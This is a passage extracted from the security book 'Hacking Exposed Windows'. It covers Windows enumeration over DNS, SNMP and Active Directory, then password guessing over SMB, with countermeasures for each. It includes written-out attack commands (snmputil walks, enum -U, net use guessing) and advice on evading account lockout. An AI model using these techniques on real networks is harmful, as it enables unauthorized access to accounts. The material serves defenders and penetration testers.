corp-dc.labfarce.org\n. . .\n_gc._tcp SRV priority=0, weight=100, port=3268, corp-dc.labfarce.org\n_kerberos._tcp SRV priority=0, weight=100, port=88, corp-dc.labfarce.org\n_kpasswd._tcp SRV priority=0, weight=100, port=464, corp-dc.labfarce.org\n_ldap._tcp SRV priority=0, weight=100, port=389, corp-dc.labfarce.org\nPer RFC 2052, the format for SRV records is\nService.Proto.Name TTL Class SRV Priority Weight Port Target\n" }, { "page_number": 130, "text": "102 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nSome simple observations an attacker could gather from this file would be the location \nof the domain’s global catalogue service (_gc._tcp), domain controllers using Kerberos \nauthentication (_kerberos._tcp), LDAP servers (_ldap._tcp), and their associated port \nnumbers (only TCP incarnations are shown here).\nBlocking Windows DNS Zone Transfers\nBy default—you guessed it—Windows 2000 comes configured to allow zone transfers to \nany server. Fortunately, Windows Server 2003 and later restricts zone transfers by \ndefault—attackers will receive “Query refused” in response. Figure 4-6 shows the \nProperties option for a forward lookup zone (in this case, labfarce.org) selected from \nwithin the DNS Management console (dnsmgmt.msc) on Windows Server 2003, showing \nthe default setting that restricts zone transfers. Kudos to Microsoft for disabling zone \ntransfers by default in Windows Server 2003 and later!\nAlthough we recommend the settings shown in Figure 4-6, it is probably more realistic to assume that \nbackup DNS servers will need to be kept up to date on zone file changes, so we’ll note that permitting \nzone transfers to authorized servers is also OK.\nFigure 4-6 Windows Server 2003 default DNS settings disable zone transfers—hurrah for default \nsecurity!\n" }, { "page_number": 131, "text": "Chapter 4: Enumeration \n103\nAlthough it won’t work against Windows’ DNS implementation, the following command will deter-\nmine the version of a server running BIND DNS: nslookup -q=txt -class=CHAOS \nversion.bind.\nSNMP ENUMERATION\nOne of our favorite pen-testing anecdotes concerns the stubborn sysadmin at a client \n(target) site who insisted that his Windows NT 4 systems couldn’t be broken into. “I’ve \nlocked down SMB, and there’s no way you can enumerate user account names on my \nWindows systems. That’ll stop you cold!”\nSure enough, access to TCP 139 and 445 was blocked or the SMB service was disabled. \nHowever, an earlier port scan showed that something just as juicy was available: the \nSimple Network Management Protocol (SNMP) agent service, UDP 161. SNMP is not \ninstalled by default on the Windows, but it is easily added via Add/Remove Programs \nin Windows 2000 and later. Many organizations manage their networks with SNMP, so \nit is commonly found.\nIn Windows 2000 and earlier, the default installation of SNMP used “public” as the \nREAD community string (the community string is the rough equivalent of a password \nfor the service). Even worse, the information that can be extracted from the Windows \nSNMP agent is just as damaging as everything we have discussed so far in this chapter. \nBoy, was this sysadmin disappointed. Read on to see what we did to his machines—to \nensure that you don’t make the same mistake he did.\nThe following attacks don’t work on out-of-the-box Windows XP and later thanks to default configuration \nchanges. Unless noted otherwise, the following descriptions apply to Windows 2000 and prior.\nSNMP Enumeration with snmputil\nPopularity:\n8\nSimplicity:\n7\nImpact:\n5\nRisk Rating:\n7\nIf an easily guessable read community string has been set on the victim system, \nenumerating Windows accounts via SNMP is a cakewalk using the Resource Kit snmputil \ntool. The next example shows snmputil reading the LAN Manager Management \nInformation Base (MIB) from a remote Windows 2000 machine using the commonly used \nread community string “public”:\nC:\\>snmputil walk 192.168.202.33 public .1.3.6.1.4.1.77.1.2.25\nVariable = .iso.org.dod.internet.private.enterprises.lanmanager.\n lanmgr-2.server.svUserTable.svUserEntry.svUserName.5.\n 71.117.101.115.116\nValue = OCTET STRING - Guest\n" }, { "page_number": 132, "text": "104 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nVariable = .iso.org.dod.internet.private.enterprises.lanmanager.\n lanmgr-2.server. svUserTable.svUserEntry.svUserName.13.\n 65.100.109.105.110.105.115.116.114.97.116.111.114\nValue = OCTET STRING - Administrator\nEnd of MIB subtree.\nThe last variable in the preceding snmputil syntax, .1.3.6.1.4.1.77.1.2.25, is \nthe object identifier (OID) that specifies a specific branch of the Microsoft enterprise MIB, \nas defined in SNMP. The MIB is a hierarchical namespace, so walking “up” the tree (that \nis, using a less specific number, like .1.3.6.1.4.1.77) will dump larger and larger amounts \nof information. Remembering all those numbers is clunky, so an intruder will use the text \nstring equivalent. Table 4-6 lists some segments of the MIB that yield the juicy stuff.\nSNMP Enumeration with SolarWinds Tools\nPopularity:\n8\nSimplicity:\n7\nImpact:\n5\nRisk Rating:\n7\nOf course, to avoid all this typing, you could just download the excellent graphical \nSNMP browser called IP Network Browser, one of the many great tools included in \nSolarWinds’ Professional Plus Toolset (see “References and Further Reading” for a link). \nThe Professional Plus suite costs a bundle, but it’s worth it for the numerous tools \nincluded in the package.\nIP Network Browser enables an attacker to see all this information displayed in living \ncolor. Figure 4-7 shows IP Network Browser examining a machine running the Windows \n2000 SNMP agent with a default read community string of public.\nSNMP MIB (Append This to .iso.org.dod.internet.private\n.enterprises.lanmanager.lanmgr2)\nEnumerated Information\n.server.svSvcTable.svSvcEntry.svSvcName\nRunning services\n.server.svShareTable.svShareEntry.svShareName\nShare names\n.server.svShareTable.svShareEntry.svSharePath\nShare paths\n.server.svShareTable.svShareEntry.svShareComment\nComments on shares\n.server.svUserTable.svUserEntry.svUserName\nUsernames\n.domain.domPrimaryDomain\nDomain name\nTable 4-6 OIDs from the Microsoft Enterprise SNMP MIB that Can Be Used to Enumerate \nSensitive Information\n" }, { "page_number": 133, "text": "Chapter 4: Enumeration \n105\nThings get even worse if you identify a write community string via IP Network \nBrowser. Using the Update System MIB tool from the SolarWinds Professional Plus \nToolset, you can write values to the System MIB if you supply the proper write string, \nincluding system name, location, and contact info.\nSNMP Enumeration Countermeasures\nThe simplest way to prevent enumeration activity is to remove the SNMP agent or to \nturn off the SNMP service in the Services Control Panel (services.msc). In Vista and later, \nthe service is known as the SNMP Trap service, and it’s only capable of forwarding to \nlocal SNMP applications, so there are no security settings to configure.\nIf shutting off SNMP is not an option, you should at least ensure that it is properly \nconfigured with unique community names (not the default “public” used on Windows \n2000) so that it responds only to specific IP addresses. This is a typical configuration in \nenvironments that use a single management workstation to poll all devices for SNMP \nFigure 4-7 SolarWinds’ IP Network Browser expands information available on systems running the \nWindows SNMP agent when provided with the correct community string. The community string shown \nhere is Windows 2000’s default, “public”.\n" }, { "page_number": 134, "text": "106 \nHacking Exposed Windows: Windows Security Secrets & Solutions \ndata. To specify these configurations, open the Services Control Panel, select Properties \nof the SNMP Service, click the Security tab, and change the following values:\nAccepted Community Names\nSpecify unique (nondefault), diffi cult- \nto-guess community strings\nAccept SNMP Packets From These Hosts\nSpecify the IP address of your SNMP \nmanagement workstation(s)\nFigure 4-8 shows these settings in the default Windows Server 2003 SNMP agent \nconfiguration. We are happy to report that the default configuration specifies no valid \ncommunity strings and restricts access to the SNMP agent to the local host only—another \nshining example of Microsoft’s Trustworthy Computing initiative’s “Secure by Default” \nmantra. Of course, most administrators will have to make changes to these values to \nmake the SNMP service useful, but at least it’s locked down out of the box.\nOf course, if you’re using SNMP to manage your network, make sure that you block \naccess to TCP and UDP ports 161 (SNMP GET/SET) at all perimeter network access \ndevices. Allowing internal SNMP info to leak onto public networks is a definite no-no.\nFigure 4-8 The Windows Server 2003 SNMP agent’s default confi guration specifi es no valid \ncommunity strings and locks down access to localhost only.\n" }, { "page_number": 135, "text": "Chapter 4: Enumeration \n107\nFor more advanced administrators, you can also configure the Windows Server 2003 \nSNMP service to permit only approved access to the SNMP Community Name and to \nprevent Windows account information from being sent. To do this, open regedt32 and go \nto HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities. \nChoose Security | Permissions, and then set them to permit only approved users access. \nNext, navigate to HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\ \nExtensionAgents, delete the value that contains the “LANManagerMIB2Agent” string, \nand then rename the remaining entries to update the sequence. For example, if the deleted \nvalue was 1, then rename 2, 3, and so on, until the sequence begins with 1 and ends with \nthe total number of values in the list.\nACTIVE DIRECTORY ENUMERATION\nThe most fundamental change introduced by Windows 2000 was the addition of a \nLightweight Directory Access Protocol (LDAP)–based directory service that Microsoft \ncalls Active Directory (AD). AD is designed to contain a unified, logical representation of \nall the objects relevant to the corporate technology infrastructure, and thus, from an \nenumeration perspective, it is potentially a prime source of information leakage. \nWindows Server 2003 and Server 2008’s AD implementations are largely identical to \ntheir predecessor and thus can be accessed by LDAP query tools, as shown in the next \nexample.\nActive Directory Enumeration with ldp\nPopularity:\n2\nSimplicity:\n2\nImpact:\n5\nRisk Rating:\n3\nThe Windows Support Tools (available on the Server install CD in the Support\\Tools \nfolder) includes a simple LDAP client called ldp.exe that connects to an AD server and \nbrowses the contents of the directory.\nWhile analyzing the security of Windows 2000 release candidates during the summer \nof 1999, the authors of this book found that by simply pointing ldp at a Windows 2000 \ndomain controller, all of the existing users and groups could be enumerated with a simple LDAP \nquery. The only task required to perform this enumeration is to create an authenticated \nsession via LDAP. If an attacker has already compromised an existing account on the \ntarget via other means, LDAP can provide an alternative mechanism to enumerate users \nif SMB ports are blocked or otherwise unavailable.\nWe illustrate enumeration of users and groups using ldp in the following example, \nwhich targets the Windows domain controller caesars.vegas.nv, whose AD root context \nis DC=vegas,DC=nv. We assume that we have already compromised the Guest account \non caesars—it has a password of guest.\n \n1. Connect to the target using ldp. Choose Connection | Connect, and enter the \nIP address or DNS name of the target server. This creates an unauthenticated \n" }, { "page_number": 136, "text": "108 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nconnection to the directory. You can connect to the default LDAP port 389 or \nuse the AD Global Catalog port 3268 or the UDP versions of either of these \nservices (“connectionless”). TCP port 389 is shown in the following illustration:\n \n2. The null connection reveals some information about the directory, but you can \nauthenticate as your compromised Guest user and get even more. This is done \nby choosing Connections | Bind, making sure the Domain check box is selected \nwith the proper domain name, and entering Guest’s credentials, as shown next:\n \n3. You should see output reading “Authenticated as dn: ‘guest’.” Now that an \nauthenticated LDAP session is established, you can actually enumerate Users \nand Groups. Choose View | Tree and enter the root context in the ensuing \ndialog box. (For example, DC=vegas,DC=nv is shown here.)\n \n4. A node appears in the left pane; click the plus symbol to unfold it to reveal the \nbase objects under the root of the directory.\n \n5. Finally, double-click both the CN=Users and CN=Builtin containers. They will \nunfold to enumerate all the users and all the built-in groups on the server, \nrespectively. The Users container is displayed in Figure 4-9.\n" }, { "page_number": 137, "text": "Chapter 4: Enumeration \n109\nHow is this possible with a simple user connection? Certain legacy NT 4 services, \nsuch as Remote Access Service (RAS) and SQL Server, must be able to query user and \ngroup objects within AD. The AD installation routine (dcpromo) prompts whether the \nuser wants to relax access permissions on the directory to allow legacy servers to perform \nthese lookups. If the relaxed permissions are selected at installation, user and group \nobjects are accessible to enumeration via LDAP. Note that the default installation will \nrelax the permissions over AD.\nActive Directory Enumeration Countermeasures\nFirst and foremost, filter access to TCP ports 389 and 3268 at the network edge. Unless \nyou plan on exporting AD to the world, no one should have unauthenticated access to \nthe directory.\nTo prevent this information from leaking out to unauthorized parties on internal \nsemitrusted networks, permissions on AD will need to be restricted. The difference \nbetween legacy-compatible mode (read: “less secure”) and native Windows essentially \nboils down to the membership of the built-in local group Pre-Windows 2000 Compatible \nAccess. The Pre-Windows 2000 Compatible Access group has the default access \npermission to the directory shown in Table 4-7.\nThe Active Directory Installation Wizard automatically adds Everyone and the \nANONYMOUS LOGON identity to the Pre-Windows 2000 Compatible Access group if \nFigure 4-9 Ldp.exe enumerates users and groups via an authenticated connection.\n" }, { "page_number": 138, "text": "110 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nyou select Pre-Windows Compatible during dcpromo. These special identities include \nauthenticated sessions with anyone, including null sessions (see Chapter 2). By removing \nthe Everyone and ANONYMOUS LOGON groups from Pre-Windows 2000 Compatible \nAccess (and then rebooting the domain controllers), the domain operates with the greater \nsecurity. If you need to downgrade security again for some reason, these groups can be \nre-added by running the following command at a command prompt:\nnet localgroup \"Pre-Windows 2000 Compatible Access\" everyone /add\nnet localgroup \"Pre-Windows 2000 Compatible Access\" \"ANONYMOUS LOGON\" /add\nThe access control dictated by membership in the Pre-Windows 2000 Compatible \nAccess group also applies to queries run over NetBIOS null sessions against a domain \ncontroller. To illustrate this point, consider the two uses of the enum tool (described \npreviously) in the following example. The first time it is run against a Windows 2000 \nAdvanced Server with Everyone and ANONYMOUS LOGON as a member of the Pre-\nWindows 2000 Compatible Access group.\nC:\\>enum -U caesars\nserver: caesars\nsetting up session... success.\ngetting user list (pass 1, index 0)... success, got 8.\n Administrator backadmin Guest guest2 IUSR_CAESARS IWAM_CAESARS\n krbtgt SUPPORT_388945a0\ncleaning up... success.\nNow we remove Everyone and ANONYMOUS LOGON from the Pre-Windows 2000 \nCompatible Access group, reboot, and run the same enum query again:\nC:\\>enum -U caesars\nserver: caesars\nsetting up session... success.\nObject\nPermission\nDomain password and lockout policies\nRead\nOther domain parameters\nRead\nDirectory root (and all children)\nList contents\nUser objects\nList Contents, Read \nAll Properties, Read Permissions\nGroup objects\nList Contents, Read \nAll Properties, Read Permissions\nInetOrgPerson objects\nList Contents, Read \nAll Properties, Read Permissions\nTable 4-7 Permissions on Active Directory Objects Related to the Pre-Windows 2000 Compatible \nAccess Group\n" }, { "page_number": 139, "text": "Chapter 4: Enumeration \n111\ngetting user list (pass 1, index 0)... fail\nreturn 5, Access is denied.\ncleaning up... success.\nSeriously consider upgrading all RAS, Routing and Remote Access Service (RRAS), and SQL \nServers in your organization to at least Windows 2000 before the migration to AD so that casual \nbrowsing of account information can be blocked.\nALL-IN-ONE ENUMERATION TOOLS\nWe’ve discussed a wide range of enumeration tools and techniques. Wouldn’t it be nice \nif all of this functionality was included in one tool, so that network administrators had a \none-stop shop for finding leaky systems on their networks?\nFortunately such a tool exists in Winfingerprint, which can perform nearly all of the \nenumeration techniques shown in this chapter, including NetBIOS, SMB, MSRPC, SNMP, \nand Active Directory. Winfingerprint is show in Figure 4-10 enumerating a Windows \nFigure 4-10 Winfi ngerprint enumerates a Windows Server 2008 Enterprise domain controller.\n" }, { "page_number": 140, "text": "112 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nServer 2008 Enterprise domain controller (again, remember that Server 2003 domain \ncontrollers are still vulnerable to these techniques, even though post-XP SP2 non-domain \njoined/domain member systems block them by default).\nSUMMARY\nUsing the information presented in this chapter, an attacker can now turn to active \nWindows system penetration, as we describe next in Chapter 5. Here is a short review of \nthe countermeasures presented in this chapter that will restrict malicious hackers from \ngetting at this information:\n• Restrict network access to all of the services discussed in this chapter using \nnetwork- and host-based fi rewalls (such as the Windows Firewall). Disable \nthese services if they are not being used. If you do enable these services, \nconfi gure them to prevent disclosure of sensitive system information to \nunauthorized parties according to the following advice.\n• Protect the SMB service (TCP/UDP 139 and 445). Disable it if possible by shutting \noff File And Print Sharing For Microsoft Networks as discussed in this chapter. \nIf you enable SMB, use Security Policy to prevent anonymous access. Windows \ndefault settings are suffi cient, but beware that the default domain controller \nsettings are relaxed and permit enumeration of accounts. You can push these \nsettings out to all domain computers using Group Policy.\n• Access to the NetBIOS Name Service (NBNS, UDP 137) should be blocked \nat network gateways (recognize that blocking UDP 137 will interfere with \nWindows naming services).\n• Disable the Alerter and Messenger services on NetBIOS-aware hosts. This \nprevents user account information from appearing in remote NetBIOS Name \nTable dumps. This setting can be propagated throughout a domain using Group \nPolicy. These services are disabled by default on Windows Server 2003 and later.\n• Confi gure Windows DNS servers to restrict zone transfers to explicitly defi ned \nhosts, or disable zone transfers entirely. Zone transfers are disabled by default \nin Windows Server 2003 and later.\n• If you enable the optional SNMP Service, restrict access to valid SNMP \nmanagement console machines and specify non-default, hard-to-guess \ncommunity strings. The Windows Server 2003 SNMP Service restricts access \nto the local host and specifi es no valid community strings by default. SNMP \nis no longer implemented on Vista and later.\n• Heavily restrict access to the AD-specifi c services, TCP/UDP 389 and 3268. \nUse network fi rewalls, Windows Firewall, IPSec fi lters, or any other mechanism \navailable.\n• Remove the Everyone identity from the Pre-Windows 2000 Compatible Access\ngroup on Windows domain controllers if applicable. This is a backward \ncompatibility mode to allow NT RAS and SQL services to access user objects \n" }, { "page_number": 141, "text": "Chapter 4: Enumeration \n113\nin the directory. If you don’t require this legacy compatibility, turn it off. Plan \nyour migration to Active Directory so that RAS and SQL servers are upgraded \nfi rst and you do not need to run in backward compatibility mode.\nREFERENCES AND FURTHER READING\nReferences\nLocation\nRelevant Microsoft Bulletins, \nKB Articles, and Hotfi xes\nQ224196, “Restricting Active Directory \nReplication Traffi c to a Specifi c Port” \ncovers static allocation of RPC \nendpoints\nhttp://support.microsoft.com/\n?kbid=224196\nQ143474, “Restricting Information \nAvailable to Anonymous Logon Users” \ncovers the RestrictAnonymous \nRegistry key\nhttp://support.microsoft.com/\n?kbid=143474\nQ246261, “How to Use the \nRestrictAnonymous Registry Value in \nWindows 2000”\nhttp://support.microsoft.com/\n?kbid=246261\nQ240855, “Using Windows NT 4.0 \nRAS Servers in a Windows 2000 \nDomain” covers the Pre-Windows \n2000 Compatible Access group\nhttp://support.microsoft.com/\n?kbid=240855\nFreeware Tools\nnbtscan by Alla Bezroutchko\nwinhackingexposed.com/tools.html\nepdump\nwww.security-solutions.net/download/\nindex.html\nrpcdump, part of the RPCTools by \nTodd Sabin\nwww.bindview.com/services/razor/\nutilities/\nWinfo by Arne Vidstrom\nwww.ntsecurity.nu\nnbtdump by David Litchfi eld\nwinhackingexposed.com/tools.html\nDumpSec by SomarSoft\nwww.somarsoft.com\nenum\nhttp://razor.bindview.com\nnete\nwinhackingexposed.com/tools.html\nsid2user/user2sid by Evgenii Rudnyi\nevgenii.rudnyi.ru/soft/sid/\nUserInfo and UserDump from Thor\nwinhackingexposed.com/tools.html\nGetAcct by Urity\nwww.securityfriday.com\n" }, { "page_number": 142, "text": "114 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nReferences\nLocation\nwalksam, part of the RPCTools by \nTodd Sabin\nrazor.bindview.com\nWinfi ngerprint\nhttp://winfi ngerprint.sourceforge.net/\nCommercial Tools\nSolarWinds Professional Plus Edition \nToolset\nwww.solarwinds.net\nGeneral References\n“CIFS: Common Insecurities Fail \nScrutiny” by Hobbit, the original SMB \nhacker’s technical reference\nweb.textfi les.com/hacking/cifs.txt\nRFCs 1001 and 1002, which describe \nthe NetBIOS over TCP/UDP transport \nspecifi cations\nwww.rfc-editor.org\nRFCs for SNMP\nwww.rfc-editor.org\n" }, { "page_number": 143, "text": "115\n5\nHacking \nWindows-\nSpecif ic \nServices\n" }, { "page_number": 144, "text": "116 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nS\no far in our attack on Windows, we’ve identified targets and running services, and \nwe’ve connected to certain services to enumerate system data. The next step is to \nattempt to break in using various methods.\nAs discussed in Chapter 2, the primary goal of remote Windows system penetration \nis to authenticate to the remote host to get access to resources on it. We can do this, for \nexample, in the following ways:\n• Guessing username/password combinations\n• Eavesdropping on or subverting the authentication process\n• Exploiting a vulnerable network service or client\n• Gaining physical access to the system\nThis chapter will discuss the first three items on this list, and physical attacks will be \ndiscussed in Chapter 11.\nSQL Server will be discussed separately in Chapter 9.\nAs we saw in Chapter 2, the core of the Windows authentication system includes the \nLAN Manager (LM) and Windows NT LAN Manager (NTLM) protocols (including \nNTLM version 2). These protocols were designed primarily for a protected internal \nenvironment. With Windows 2000, Microsoft adopted the widely used standard \nKerberos version 5 protocol as an alternative to LM and NTLM, effectively broadening \nthe scope of its authentication paradigm, and also in part to blunt longstanding criticism \nof security weaknesses in the proprietary LM/NTLM suite. All of these protocols \nare available by default in Windows (Kerberos is used nowadays for authentication \non domain controllers and accessing resources on the network), but little has been \nchanged to eliminate the weaknesses in LM/NTLM, mainly to maintain backward \ncompatibility.\nLuckily, with Windows Vista, Microsoft uses NTLMv2 as the default authentication \nscheme, following the earlier change on Windows 2003 disabling LM by default. All \nthese protocols are used more or less transparently by modern Windows clients, so the \ndetails of how they work are often irrelevant to attacks such as password guessing in \nmost cases. Furthermore, as we will see in this chapter, Microsoft has replicated known \nsecurity vulnerabilities in the public Kerberos v5 standard, which is also prone to \npassword-guessing attacks. This chapter is divided into the following sections:\n• Guessing passwords\n• Eavesdropping on authentication\n• Subverting authentication via rogue server or man-in-the-middle (MITM) attacks\n• Attacking vulnerabilities in Windows services\n" }, { "page_number": 145, "text": "Chapter 5: Hacking Windows-Specific Services \n117\nGUESSING PASSWORDS\nAs unglamorous as it sounds, password guessing is probably one of the most effective \nmethods for gaining access to larger Windows and *nix networks. This section discusses \nthis inelegant but highly effective approach to Windows system penetration.\nPassword guessing can be performed against all services supporting integrated \nWindows authentication including, but not limited to, services such as Internet \nInformation Services (IIS), Remote Procedure Call (RPC), and FTP servers. In this chapter \nwe focus on password guessing over the Server Message Block (SMB) protocol, but an \nattack can also be performed against any service for which we have a client allowing us \nto supply a username and password. On top of that, when gaining access with some \ncredentials via some protocol, it is usually worthwhile to try the same credentials via \nother services, as people tend to reuse their passwords. This is mainly due to tedious \nrequirements for password strength and the difficulty of having to remember complex \npasswords. For example, if an intruder manages to break into an FTP service with some \nuser credentials, she could use the same credentials to break into another service, such as \nWindows authentication.\nNaturally, the password guessing depends on the complexity of the password; if the \nuser is using passphrases, the difficulty in guessing the password grows linearly. Luckily \nfor attackers, and due to usual complex demands for the passwords, users tend to reuse \npasswords in different systems.\nBefore we discuss the various tools and techniques used for password guessing, let’s \nreview a few salient points:\n• Closing existing SMB sessions to target\n• Reviewing enumeration output\n• Avoiding account lockout\n• The importance of the administrative and privileged accounts\nClose Existing SMB Sessions to Target\nBefore beginning password guessing against systems that have been enumerated, a little \nhousekeeping is in order. Since Windows does not support logging on with multiple \ncredentials simultaneously in the same SMB namespace, we must log off any existing \nsessions to the target by using the net use /delete /y command (or /d for short; \nthe /y switch forces the connections closed without prompting):\nC:\\>net use * /d /y\nYou have these remote connections:\n \\\\victim.com\\ipc$\nContinuing will cancel the connections.\nThe command completed successfully.\n" }, { "page_number": 146, "text": "118 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nAnd, of course, if you have sessions open to multiple machines, you can close specific \nconnections by explicitly noting them in the request. Here we close a session with the \ncomputer \\\\victim:\nC:\\>net use \\\\victim\\ipc$ /d /y\nThe net command supports multiple network providers—for example Novell NetWare and others. \nWhen referring to the net command in this book, we imply SMB and Windows connections. IP \naddresses are also considered a separate namespace.\nReview Enumeration Results\nThe efficiency of password guessing is greatly increased by information gathered using \nthe enumeration techniques discussed in Chapter 4. Assuming that user account names \nand features can be obtained by these techniques, they should be reviewed with an eye \ntoward identifying the following information extracted over null sessions by tools such \nas enum, nete, userdump/userinfo, and DumpSec (see Chapter 4). This information can \nbe used in manual password-guessing attacks, or it can be salted liberally in username \nlists and password dictionaries fed into automated password-guessing tools.\nLocal vs. Domain Accounts For each account enumerated, it is good practice to check \nwhich are domain accounts and which are for local use only. Membership can also be \nseen from the group memberships. Domain accounts can provide footholds from one \nsystem to another—getting system access to one box can provide access to that box only, \nbut using that account to spawn processes with logged-on domain users allows an \nintruder to take over the entire domain or forest, depending on the account.\nLab or Test Accounts How many lab or test accounts exist in your environment? How \nmany of these accounts are in the local Administrators group? Care to guess what the \npassword for such accounts might be? It could be test, or, on systems with no password \npolicy enforcement, it could even be NULL. To make matters worse, these accounts—\neven admin accounts—can set passwords that never expire. It is not uncommon to find \nsystems with passwords set months or even years ago—even brute-forcing can be \nvaluable for cracking stronger passwords within such an environment.\nUser Accounts with Juicy Info in the Comment Field We’ve actually seen passwords written \nin the Comment field in plaintext, ripe for the plucking via enumeration. Sometimes \nhints to the password can be found in the Comment field to aid those hapless users who \njust can’t seem to remember their own passwords.\nAdministrators or Domain Admins Groups These accounts are often targeted because of \ntheir all-encompassing power over local systems or domains. Also, the local Administrator \naccount cannot be locked out using default tools from Microsoft, and they make ripe \ntargets for perpetual password guessing. The account has been renamed or disabled on \nlater versions of Microsoft Windows.\nLocal administrator accounts might also use the same password for multiple systems, \nespecially if the systems have been installed from one (and the same) golden image. This \n" }, { "page_number": 147, "text": "Chapter 5: Hacking Windows-Specific Services \n119\ngives the advantage to the attacker who can use the same local account to compromise \nall the accounts on the network.\nPrivileged Backup Application Service Accounts Many commercial backup software \napplications create user accounts that are granted a high degree of privilege on a system, \nor that at least can read almost all of the files to provide a comprehensive backup of \nthe system. Some common account names are shown in Table 5-1 a little later in the \nchapter.\nShared Group Accounts Organizations large and small have a propensity to reuse account \ncredentials that grant access to a high percentage of the systems in a given environment. \nAccount names such as backup or admin are examples.\nUser Accounts Haven’t Changed Passwords Recently This is typically a sign of noneffective \naccount maintenance practices on the part of the user and system administrator, indicating \na potentially easy mark. These accounts may also use default passwords specified at \naccount creation time that are easily guessed. For example, the use of the organization \nname, username, or welcome for this initial password value is rampant.\nUser Accounts Haven’t Logged on Recently Once again, infrequently used accounts are \nsigns of neglectful practices such as infrequently monitored password strength, or rather \naccount management housekeeping.\nAvoid Account Lockout\nHackers and authorized penetration testers alike will want to avoid account lockout \nwhen engaging in password guessing. Lockout disables the account and makes it \nunavailable for further attacks for the duration of the lockout period specified by a \nsystem administrator. (Note that a locked-out account is different from a disabled \naccount, which is unavailable until enabled by an administrator.)\nPlus, if auditing has been enabled, lockout shows up in the logs and will typically \nalert administrators and users that someone is messing with their accounts. Furthermore, \nif the machine is running a host-based intrusion detection application, chances are that \nthe number of failed logins may trigger an alert that is sent to the security operations \nteam.\nHow can you identify whether account lockout will derail a password-guessing \naudit? The cleanest way to determine the lockout policy of a remote system is to \nenumerate it via a null session. Recall from Chapter 4 that it’s possible to enumerate the \nlockout threshold if a null session is available. This is the most direct way to determine \nwhether an account lockout threshold exists.\nRecall that enumeration of password policies is disabled by default in newer Windows versions, unless \nthe system is a domain controller.\nIf for some reason the password policy cannot be divined directly, another clever \napproach is to attempt password guesses against the Guest account first. As noted in \n" }, { "page_number": 148, "text": "120 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nChapter 2, Guest is disabled by default on Windows, but if you reach the lockout \nthreshold, you will be notified, nevertheless. Following is an example of what happens \nwhen the Guest account gets locked out. The first password guess against the arbitrarily \nchosen IPC$ share on the target server fails, pushing the number of attempts over the \nlockout threshold specified by the security policy for this machine:\nC:\\>net use \\\\mgmgrand\\ipc$ * /u:guest\nType the password for \\\\mgmgrand\\ipc$:\nSystem error 1326 has occurred.\nLogon failure: unknown user name or bad password.\nOnce the lockout threshold has been exceeded, the next guess tells us that Guest is \nlocked out, even though it is disabled:\nC:\\>net use \\\\mgmgrand\\ipc$ * /u:guest\nType the password for \\\\mgmgrand\\ipc$:\nSystem error 1909 has occurred.\nThe referenced account is currently locked out and may not be logged on to.\nAlso note that when guessing passwords against Guest (or any other account), you will \nreceive a different error message if you actually guess the correct password for a disabled \naccount:\nC:\\>net use \\\\mgmgrand\\ipc$ * /u:guest\nType the password for \\\\mgmgrand\\ipc$:\nSystem error 1331 has occurred.\nLogon failure: account currently disabled.\nAmazingly, the Guest account has a blank password by default on Windows. Thus, if \nyou continuously try guessing a NULL password for the Guest account, you’ll never \nreach the lockout threshold (unless the password has been changed). If failure of account \nlogon events is enabled, an “account disabled” error message will appear, even if you \nguess the correct password for a disabled account.\nMaking Guest Less Useful\nOf course, disabling access to logon services is the best way to prevent password guessing, \nbut assuming this is not an option, how can you prevent the Guest account from being \nso useful to remote attackers? You can delete it using the DelGuest utility from Arne \nVidstrom (see “References and Further Reading” at the end of this chapter). DelGuest is \nnot supported by Microsoft and may produce unpredictable results (although the authors \nhave used it on Windows 2000 Professional for more than a year with no problem).\nIf deleting the Guest account is not an option, try locking it out. That way, guessing \npasswords against it won’t give away the password policy. Also practice good password \npractices on all the accounts.\n" }, { "page_number": 149, "text": "Chapter 5: Hacking Windows-Specific Services \n121\nThe Importance of Administrator and Service Accounts\nWe identify a number of username/password combinations in this chapter, including \nmany for the all-powerful Administrator account. We cannot emphasize enough the \nimportance of protecting this account. One of the most effective Windows domain \nexploitation techniques we have encountered in our consulting experience involves the \ncompromise of a single machine within the domain—usually, in a large domain, where a \nsystem with a NULL, or weak, Administrator password can be found reliably, even \nthough this problem is handled quite effectively nowadays and low-hanging fruits are \nstarting to appear elsewhere. Once this system is compromised, an experienced attacker \nwill upload the tools of the trade, most likely including the old lsadump2, or similar \nextraction tool discussed in Chapter 7. The lsadump2 tool will extract passwords from \nLSA Secrets storage for domain accounts that log on as a service, another common practice \nin Windows domains. After this password has been obtained, it is usually a trivial matter \nto compromise the domain controller(s) by logging in as the service account.\nIn addition, consider this fact: Since normal users tend to change their passwords \naccording to a fairly regular schedule (per security policy), chances are that guessing \nregular user account passwords might be difficult—and guessing a correct password \nobtains only user-level access.\nHmmmm. Whose accounts rarely change their passwords? Administrators! And unless \nan effective housekeeping management practice is in place, they tend to use the same \npassword across many servers, including their own workstations. Backup accounts and \nservice accounts also tend to change their passwords infrequently. Since all of these \naccounts are usually highly privileged and tend not to change their passwords as frequently \nas users, they are the accounts targeted when attackers perform password guessing.\nRemember that no system is an island in a Windows domain, and it can take only one \npoorly chosen password to unravel the security of your entire Windows environment.\nNow that we’ve gotten some housekeeping out of the way, let’s discuss some \npassword-guessing attack tools and techniques.\nManual Password Guessing\nPopularity:\n10\nSimplicity:\n9\nImpact: \n5\nRisk Rating:\n8\nOnce Windows authentication services have been identified by a port scan and shares \nenumerated, it’s hard to resist an immediate password guess (or 10) using the command-\nline net use command. It’s as easy as this:\nC:\\>net use \\\\victim\\ipc$ password /u:victim\\username\nSystem error 1326 has occurred.\nLogon failure: unknown user name or bad password.\n" }, { "page_number": 150, "text": "122 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nNote that we have used the fully qualified username in this example, victim\\username,\nexplicitly identifying the account we are attacking. Although this is not always necessary, \nit can prevent erratic results in certain situations, such as when net use commands are \nlaunched from a command shell running as LocalSystem.\nThe effectiveness of manual password guessing is either close to 100 percent or nil, \ndepending on how much information the attacker has collected about the system and \nwhether the system has been configured with one of the high probability 